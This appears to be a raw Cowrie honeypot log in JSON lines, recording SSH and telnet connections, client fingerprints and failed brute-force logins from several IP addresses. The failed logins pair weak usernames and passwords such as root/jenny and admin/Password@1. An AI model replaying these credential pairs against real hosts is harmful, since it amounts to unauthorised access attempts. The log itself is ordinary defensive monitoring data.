{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:29.443497Z","src_ip":"103.176.20.115","session":"01cdeac6910e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:29.705620Z","src_ip":"103.176.20.115","session":"01cdeac6910e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jenny","message":"login attempt [root/jenny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:30.784398Z","src_ip":"103.176.20.115","session":"01cdeac6910e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:32.047045Z","src_ip":"103.176.20.115","session":"01cdeac6910e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50758,"dst_ip":"10.17.0.5","dst_port":23,"session":"58304b891785","protocol":"telnet","message":"New connection: 38.54.119.93:50758 (10.17.0.5:23) [session: 58304b891785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:44.375621Z"}
{"eventid":"cowrie.session.closed","duration":6.611958265304565,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:50.987461Z","src_ip":"38.54.119.93","session":"58304b891785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.319324016571045,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:52.354055Z","src_ip":"38.54.119.93","session":"fa19d55980e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":43750,"dst_ip":"159.203.135.109","dst_port":22,"session":"027b57f02fe4","protocol":"ssh","message":"New connection: 61.72.55.130:43750 (159.203.135.109:22) [session: 027b57f02fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:52.571705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:52.578450Z","src_ip":"61.72.55.130","session":"027b57f02fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:52.776237Z","src_ip":"61.72.55.130","session":"027b57f02fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password@1","message":"login attempt [admin/Password@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:53.594949Z","src_ip":"61.72.55.130","session":"027b57f02fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:54.795294Z","src_ip":"61.72.55.130","session":"027b57f02fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59790,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c708b234aaf","protocol":"telnet","message":"New connection: 38.54.119.93:59790 (10.17.0.5:23) [session: 5c708b234aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:43:58.291175Z"}
{"eventid":"cowrie.session.closed","duration":6.1854493618011475,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:04.476497Z","src_ip":"38.54.119.93","session":"5c708b234aaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49366,"dst_ip":"10.17.0.5","dst_port":23,"session":"d049e0542c41","protocol":"telnet","message":"New connection: 65.60.27.33:49366 (10.17.0.5:23) [session: d049e0542c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:06.346719Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56716,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffdaedeb11f3","protocol":"telnet","message":"New connection: 65.60.27.33:56716 (10.17.0.5:23) [session: ffdaedeb11f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:13.118340Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":38680,"dst_ip":"159.203.135.109","dst_port":23,"session":"c79ae4123411","protocol":"telnet","message":"New connection: 192.211.53.160:38680 (159.203.135.109:23) [session: c79ae4123411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:16.823987Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":40040,"dst_ip":"159.203.135.109","dst_port":23,"session":"4136bfff9b67","protocol":"telnet","message":"New connection: 192.211.53.160:40040 (159.203.135.109:23) [session: 4136bfff9b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:21.854242Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":42974,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e09b26ea92","protocol":"ssh","message":"New connection: 103.176.20.115:42974 (10.17.0.5:22) [session: 31e09b26ea92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:26.344512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:26.350058Z","src_ip":"103.176.20.115","session":"31e09b26ea92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:26.607318Z","src_ip":"103.176.20.115","session":"31e09b26ea92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":52422,"dst_ip":"159.203.135.109","dst_port":22,"session":"6773edc5dbd0","protocol":"ssh","message":"New connection: 20.203.42.204:52422 (159.203.135.109:22) [session: 6773edc5dbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:26.770077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:26.775012Z","src_ip":"20.203.42.204","session":"6773edc5dbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:26.942189Z","src_ip":"20.203.42.204","session":"6773edc5dbd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2022","message":"login attempt [ftpuser/ftpuser@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:27.642606Z","src_ip":"20.203.42.204","session":"6773edc5dbd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345max","message":"login attempt [root/12345max] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:27.666305Z","src_ip":"103.176.20.115","session":"31e09b26ea92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:28.813107Z","src_ip":"20.203.42.204","session":"6773edc5dbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:28.930016Z","src_ip":"103.176.20.115","session":"31e09b26ea92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59716,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6168d126bab","protocol":"telnet","message":"New connection: 62.210.97.77:59716 (10.17.0.5:23) [session: f6168d126bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:32.903879Z"}
{"eventid":"cowrie.session.closed","duration":39.36369490623474,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:45.710292Z","src_ip":"65.60.27.33","session":"d049e0542c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":60666,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f5ec0dd13f0","protocol":"ssh","message":"New connection: 61.72.55.130:60666 (159.203.135.109:22) [session: 9f5ec0dd13f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:46.607103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:46.611731Z","src_ip":"61.72.55.130","session":"9f5ec0dd13f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:46.819674Z","src_ip":"61.72.55.130","session":"9f5ec0dd13f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"1234","message":"login attempt [userftp/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:47.681247Z","src_ip":"61.72.55.130","session":"9f5ec0dd13f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33882,"dst_ip":"10.17.0.5","dst_port":23,"session":"2797470d764e","protocol":"telnet","message":"New connection: 38.54.119.93:33882 (10.17.0.5:23) [session: 2797470d764e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:47.794101Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:48.891343Z","src_ip":"61.72.55.130","session":"9f5ec0dd13f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.68582725524902,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:52.804060Z","src_ip":"65.60.27.33","session":"ffdaedeb11f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.158048391342163,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:44:53.952010Z","src_ip":"38.54.119.93","session":"2797470d764e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.28383684158325,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:01.107691Z","src_ip":"192.211.53.160","session":"c79ae4123411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.60049366950989,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:03.454621Z","src_ip":"192.211.53.160","session":"4136bfff9b67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.908453702926636,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:05.812187Z","src_ip":"62.210.97.77","session":"f6168d126bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48006,"dst_ip":"10.17.0.5","dst_port":23,"session":"df14cf038b6f","protocol":"telnet","message":"New connection: 38.54.119.93:48006 (10.17.0.5:23) [session: df14cf038b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:08.814115Z"}
{"eventid":"cowrie.session.closed","duration":8.02634859085083,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:16.840332Z","src_ip":"38.54.119.93","session":"df14cf038b6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42690,"dst_ip":"10.17.0.5","dst_port":23,"session":"87efa5d0c6b9","protocol":"telnet","message":"New connection: 45.81.23.16:42690 (10.17.0.5:23) [session: 87efa5d0c6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:18.102130Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":59848,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d44dcfc0d2","protocol":"ssh","message":"New connection: 103.176.20.115:59848 (10.17.0.5:22) [session: 42d44dcfc0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:21.900993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:21.907797Z","src_ip":"103.176.20.115","session":"42d44dcfc0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:22.157415Z","src_ip":"103.176.20.115","session":"42d44dcfc0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123456","message":"login attempt [ftpadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:23.187992Z","src_ip":"103.176.20.115","session":"42d44dcfc0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:24.446814Z","src_ip":"103.176.20.115","session":"42d44dcfc0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.603446006774902,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:25.705451Z","src_ip":"45.81.23.16","session":"87efa5d0c6b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33596,"dst_ip":"10.17.0.5","dst_port":23,"session":"f08166d36ec9","protocol":"telnet","message":"New connection: 38.54.119.93:33596 (10.17.0.5:23) [session: f08166d36ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:32.259576Z"}
{"eventid":"cowrie.session.closed","duration":6.154987096786499,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:38.414404Z","src_ip":"38.54.119.93","session":"f08166d36ec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44646,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bcd6527b924","protocol":"telnet","message":"New connection: 62.210.97.77:44646 (10.17.0.5:23) [session: 9bcd6527b924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:44.125101Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":48540,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f922b3b5e94","protocol":"ssh","message":"New connection: 61.72.55.130:48540 (159.203.135.109:22) [session: 6f922b3b5e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:44.423486Z"}
